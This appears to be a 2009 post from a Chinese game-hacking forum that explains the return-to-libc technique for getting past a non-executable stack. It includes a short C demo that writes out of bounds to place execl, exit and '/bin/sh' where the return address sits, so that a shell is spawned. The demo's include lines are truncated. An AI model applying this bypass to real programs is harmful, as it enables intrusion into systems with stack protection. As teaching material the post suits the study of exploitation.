WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2579查看
  • 0回复

主题

好友

2746

积分

金牌会员

发表于 2009-5-8 09:07:02 |显示全部楼层
付缓冲区溢出的常见方法就是堆栈不可执行保护。众所周知溢出成功后都是执行shellcode,而shellcode一般都是在缓存区里,只要操作系统限制堆栈中的数据只可读写,不可执行,一旦堆栈中的数据被执行立即报告错误,并退出。那么溢出成功后也不能执行shellcode。

    但如果在堆栈中构造号参数然后跳转到标准C库中去运行,那么也就避开了堆栈保护。如下简单程序演示其原理:

#include
#include
int main(int argc,char * argv[])
{
        long p[1];
        char *cmd = "/bin/sh";
        printf("execl addr = %p\n",execl);
        p[2] = execl;
        p[3] = exit;
        p[4] = cmd;
        p[5] = 0;
}


运行程序可将得到一个/bin/sh   shell
注意:程序没有构造机器指令,仅通过溢出填写了一个返回地址->execl及execl所需参数。

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-4-30 09:01 , Processed in 0.049259 second(s), 16 queries .

返回顶部